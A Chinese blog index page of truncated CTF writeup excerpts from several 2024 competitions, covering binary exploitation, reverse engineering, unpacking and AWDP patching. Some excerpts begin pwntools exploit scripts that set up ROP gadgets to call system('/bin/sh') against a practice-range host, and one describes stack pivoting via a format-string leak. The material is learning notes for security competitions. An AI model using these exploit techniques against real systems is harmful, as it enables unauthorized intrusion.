2024-CISCNx长城杯铁人三项-初赛—WriteUp
2024-CISCNx长城杯铁人三项-初赛—WriteUp 怎么说呢!!!! 全靠队友: VV师傅:( ゜- ゜)つロ (mcat-e.github.io) inf_师傅:https://blog.next-infinite.top/ ...
国诚杯-2024
pwnAlpha_Shell日常检查一下 1234567891011llq@llq-virtual-machine:~$ checksec 1111[*] '/home/llq/1111' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: Nollq@llq-virtual-machine:~$ 看一下主函数 12345678910111213141516171819202122232425262728293031int __fastcall main(int argc, const char **argv, const char **envp){ int i; // [rsp+10h]...
古剑山-2024
OK的,阿达西!!! 又是啥也没做出来的一天 也是跟着来复现了一手 Reversere打开后是一个exe文件 然后日常查一下壳 可以看见是一个vm1的壳 是要手动脱一下的 怎么说呢,x32dbg打开看看 断点打在下面,找一下OEP(程序的原始入口点) 当我们一直步入的时候,我们就会发现他一直卡在一个地方,那么我们就找到了oep(程序的原始入口点) 这时候我们就可以进行插件Scylla来dump,fix一下就行了(具体参考步骤看最下面的参考文献) 然后我们就正常拖到ida里面看一下,如果无法正常反编译,p一下就行了。 怎么说呢?自己脱壳的,没有工具脱的好吧 找一下加密逻辑 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172BOOL __fastcall sub_611150(int a1, int a2){ char *v2; // edi ...
楚慧杯-2024
楚慧杯 怎么说呢? 2024.12.25号,前面一直在补逆向的知识。 今天来复现一下Pwn 半懵半懂吧 PwnInequable_Canary因为是到栈题,看一下保护机制 就开了canary。NX说明猜测是写shellcode,got表是可以改的。 ok,ida打开康康 123456789101112131415int __fastcall main(int argc, const char **argv, const char **envp){ __int64 v4; // [rsp+8h] [rbp-38h] void *retaddr; // [rsp+48h] [rbp+8h] BYREF v4 = seccomp_init(2147418112LL, argv, envp); seccomp_rule_add(v4, 0LL, 59LL, 0LL); seccomp_load(v4); setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); write(1,...
CISCN-做题笔记
国赛-CISCN2023-PWN-烧烤摊儿2024.7.31 日常检查 丢进ida里面看看 国赛题是不一样哈!! ida都不好分析(中文字符串反编译不出来) ☝🤓 1https://blog.csdn.net/donglxd/article/details/135243027 找到办法了 嗯~舒服多了! 找一下漏洞,栈溢出 123456789101112__int64 gaiming(){ int v0; // edx int v1; // ecx int v2; // r8d int v3; // r9d char v5[32]; // [rsp+0h] [rbp-20h] BYREF puts("烧烤摊儿已归你所有,请赐名:"); _isoc99_scanf("%s", v5, v0, v1, v2, v3); j_strcpy_ifunc(name, v5); return 0LL;} "%s"...
pwn-笔记
pwn-学习笔记 啥几把不会 传上来充数 ————————————————————————-mfc一般用xspy打开,找偏移,然后看文件基址锁定文件主函数 d180一般是去除ollvm(快捷键ctrl+shift+D) 反调试-PEBreadfsdword 是一个与低级操作系统和汇编相关的函数,它通常用于从 FS 段寄存器指定的内存地址读取数据。在 x86 和 x64 架构中,FS 是一个段寄存器,它可以用来访问线程局部存储(TLS)和其他特定于操作系统的数据结构。 1mov eax, fs:[0x30] ; 从 FS 段寄存器的地址 0x30 读取一个双字(32 位) isDebuggerPresent...
鹏程杯-2024
包菜的,虽然都没怎么做出来 但也是复现出来了 REjoyVBS-pcb2024打开时一个已VBS结尾的文件 第一次做 上网查了一手 直接实操一手,直接就跑出来了 就是一道凯撒加base64编码 很简单的也是,偏移为14 直接解就行 12345678910111213141516171819202122232425import base64def caesar_cipher(text, shift): result = "" for char in text: if 'A' <= char <= 'Z': result += chr((ord(char) - ord('A') + shift) % 26 + ord('A')) elif 'a' <= char <= 'z': result += chr((ord(char)...
AWDP-总结笔记
没咋打过AWDP,就连AWD打的也很少,因为第一次打线下赛,所以准备写个笔记记录一下,完事之后在准备在补点笔记。 Web那边我不知道,只记录了pwn这块的 唉,菜就多练。 简介 没啥说的,就是跟AWD差不多 漏洞加固技巧 在AWD中每个选手会分配到一个运行了漏洞程序的靶机,我们可以找到自己靶机中的PWN附件(也就是漏洞程序)进行分析,发现漏洞来编写exp攻击其他队伍的靶机,同时我们需要用一些手段加固漏洞防止被其他选手攻击得分。 patch-PWN patch就是通过修改漏洞程序的漏洞汇编代码从而防止其他选手进行漏洞利用,不同的awd平台检查机制各不相同,原则上是只能针对漏洞点进行 patch 加固 工具介绍:ida插件keypatch链接:通过百度网盘分享的文件:IDA_Pro_7.7.zip链接:https://pan.baidu.com/s/1M2OunlHHhSjwCaWLyGsQNA提取码:Rweb 整数溢出 ...
Polar靶场-做题笔记
这个靶场挺好的,比较基础 后缀未做出的我都会标记 后续会补上 Polar-Pwnoverload12024.9.25 日常检查 就是一个常规的覆盖溢出 但是就是要记住gets函数溢出的栈的长度 ida反编译的不太对 1234567891011121314151617181920 from pwn import* p=remote('120.46.59.242', 2102)#p=process('./1111')ret_addr=0x0000000000400661pop_rdi=0x0000000000400973bin_sh=0x000000400A3Csystem_addr=0x04008FD p.sendafter('输入y/n',b'y')p.recvuntil('\n')##p.recv()payload =...
网鼎杯-2024
初赛赛题名称:pwn2解题步骤:第一步:32位的一个栈迁移 首先打开是一个最简单栈溢出和32位rop链 但是仔细看了一下read函数限制了最大长度只有8字节,rbp和返回地址 加上上面的%p泄露了一下rsp的地址 然后就在栈上进行一下栈迁移一个就行了。 前面有一个用户的登录和密码 ida直接打开就能看见 第二步:这里借鉴了一下BUUCTF-ciscn_2019_es_2 因为这里直接是给了栈顶的位置 我们直接进行接一下就行了。因为存在格式化字符串漏洞%p直接进行泄露就行了 exp:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384from pwn import*from struct import packimport ctypes#from LibcSearcher import *def...